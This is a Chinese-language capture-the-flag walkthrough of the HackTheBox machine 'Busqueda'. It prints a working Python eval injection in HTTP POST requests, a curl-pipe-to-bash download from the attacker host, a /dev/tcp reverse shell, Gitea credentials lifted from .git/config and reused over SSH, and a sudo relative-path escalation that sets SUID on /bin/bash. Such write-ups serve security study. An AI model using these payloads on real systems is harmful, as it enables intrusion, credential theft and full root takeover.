Busqueda
Namp
┌──(root💀kali)-[~]
└─# nmap -A 10.10.11.208
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-09 02:33 EDT
Nmap scan report for 10.10.11.208
Host is up (0.099s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
执行
echo “10.10.11.208 searcher.htb” >> /etc/hosts
经典的两个端口80 和 22 端口
我们先去80端口看
存在一个集合多种搜索引擎来搜索的页面
尝试了一下闭合query参数
发现响应的东西不一样了!!
尝试sqlmap 注入
失败-_-
发现了这个玩意,点击一下,我们跳转到github
我们发现这个库是可以调用脚本去获取数据的
那么猜测后台是否也是使用执行系统命令调用脚本(比如这里searchor Google “Hello World!”)的方法去执行代码,如何获取数据返回给前台的呢???
如果他后台是调用比如subprocess.run(参数列表) 的方法执行的方式来执行系统命令的
那我们想在python中执行系统命令如何执行呢?
这里有一个参考网站:https://realpython.com/python-eval-function/
这里有一段话
我们可以使用eval(complie(“要执行的代码”),“<String>”,“exec”)
compile() 是一个 Python 内置函数,用于编译字符串、文件或 AST(Abstract Syntax Trees)对象成为字节码或 AST 对象。它的语法为:compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)
source: 必选项,表示要编译的源代码,可以是字符串、文件或 AST 对象。
filename: 可选项,表示编译代码的文件名,如果不是从文件中编译代码,传入 “<string>” 即可。
mode: 可选项,表示编译代码类型,可以取值为 “exec”(编译整个代码),“eval”(编译单个表达式)或 “single”(编译单个语句)。
flags: 可选项,传入变量或位掩码,用于控制编译器的行为或特性。
dont_inherit: 可选项,表示是否继承 sys.flags 和 sys. __ optimizations __ 模块中相关选项的值。
optimize: 可选项,表示优化级别,如果设置为 -1,表示使用默认优化级别。
compile() 函数编译完成后,将会返回一个 code 对象,这个对象可以传递给 exec() 函数执行,也可以将其作为模块使用。compile() 函数在 Python 中比较常用,常用于动态编译、语法检查和代码执行等场景中。
我们在本地测试这样是可以的
我们接下来尝试直接’闭合前面的引号 ,中间加上本地测试的payload,后面再用一个’ 闭合本来后面的引号
POST /search HTTP/1.1
Host: searcher.htb
Content-Length: 111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://searcher.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.34
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://searcher.htb/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: closeengine=Accuweather&query=1'eval(compile("import+os\nos.system('ls')+",'<String>','exec'))'&auto_redirect=//尝试执行ls
发现我们的命令执行失败了,盲猜应该是命令中间没有用空格分隔,识别成一条命令了,在前后两个闭合的引号后面和前面分别加上空格**%2b**
payload
POST /search HTTP/1.1
Host: searcher.htb
Content-Length: 111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://searcher.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.34
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://searcher.htb/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: closeengine=Accuweather&query=1'%2beval(compile("import+os\nos.system('ls')+",'<String>','exec'))%2b'&auto_redirect=//执行命令ls
成功执行了命令
app.py
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocessapp = Flask(__name__)@app.route('/')
def index():return render_template('index.html', options=Engine.__members__, error='')@app.route('/search', methods=['POST'])
def search():try:engine = request.form.get('engine')query = request.form.get('query')auto_redirect = request.form.get('auto_redirect')if engine in Engine.__members__.keys():arg_list = ['searchor', 'search', engine, query]r = subprocess.run(arg_list, capture_output=True)url = r.stdout.strip().decode()if auto_redirect is not None:return redirect(url, code=302)else:return urlelse:return render_template('index.html', options=Engine.__members__, error="Invalid engine!")except Exception as e:print(e)return render_template('index.html', options=Engine.__members__, error="Something went wrong!")if __name__ == '__main__':app.run(debug=False)
查看源代码后发现确实是以subprocess调用脚本的形式来执行命令的
反弹shell
POST /search HTTP/1.1
Host: searcher.htb
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://searcher.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.34
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://searcher.htb/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: closeengine=Accuweather&query=http%3a//127.0.0.1/debug'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("curl 10.10.16.12/1.txt | bash ")','a','single'))%2b'&auto_redirect=
1.txt的内容如下面就是一句反弹shell
bash -i >& /dev/tcp/10.10.16.12/5555 0>&1
在kali上面监听5555端口,成功拿到反弹shell
在翻web根目录的时候,发现了.git 文件夹,进去查看有什么敏感信息
bash-5.1$ pwd
pwd
/var/www/app/.git
bash-5.1$ cat config
cat config
[core]repositoryformatversion = 0filemode = truebare = falselogallrefupdates = true
[remote "origin"]url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.gitfetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]remote = originmerge = refs/heads/main
bash-5.1$
成功在config文件中拿到用户名密码
username | password |
---|---|
cody | jh1usoih2bkjaspwe92 |
尝试使用cody作为用户名,密码jh1usoih2bkjaspwe92进行ssh登录登录失败了
我们尝试用svc 作为用户名,密码jh1usoih2bkjaspwe92因为反弹shell的时候使用whoami发现用户是svc
发现使用svc作为用户名ssh可以登录成功
提权
常规思路sudo -l,看看我们能以root权限执行什么特殊的命令
svc@busqueda:~$ sudo -l
Matching Defaults entries for svc on busqueda:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser svc may run the following commands on busqueda:(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
进一步执行查看,我们发现了一个名叫 full-checkup ,作用是Run a full system checkup,感觉上去就是调用一个脚本去做一些系统检查
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)docker-ps : List running docker containersdocker-inspect : Inpect a certain docker containerfull-checkup : Run a full system checkup
尝试执行
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
感觉应该是缺少一个脚本,我们创建一个脚本叫full-checkup.sh,记得给脚本附上可以执行的权限
svc@busqueda:~$ vim full-checkup.sh
svc@busqueda:~$ cat full-checkup.sh
#!/bin/bash
chmod +s /bin/bash
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
svc@busqueda:~$ chmod +x full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /bin/bash
成功给 /bin/bash 带上suid提权成功
最后查看system-checkup.py 的内容也验证了我们的猜想
#!/bin/bash
import subprocess
import sysactions = ['full-checkup', 'docker-ps','docker-inspect']def run_command(arg_list):r = subprocess.run(arg_list, capture_output=True)if r.stderr:output = r.stderr.decode()else:output = r.stdout.decode()return outputdef process_action(action):if action == 'docker-inspect':try:_format = sys.argv[2]if len(_format) == 0:print(f"Format can't be empty")exit(1)container = sys.argv[3]arg_list = ['docker', 'inspect', '--format', _format, container]print(run_command(arg_list)) except IndexError:print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")exit(1)except Exception as e:print('Something went wrong')exit(1)elif action == 'docker-ps':try:arg_list = ['docker', 'ps']print(run_command(arg_list)) except:print('Something went wrong')exit(1)elif action == 'full-checkup':try:arg_list = ['./full-checkup.sh']print(run_command(arg_list))print('[+] Done!')except:print('Something went wrong')exit(1)if __name__ == '__main__':try:action = sys.argv[1]if action in actions:process_action(action)else:raise IndexErrorexcept IndexError:print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')print('')print(' docker-ps : List running docker containers')print(' docker-inspect : Inpect a certain docker container')print(' full-checkup : Run a full system checkup')print('')exit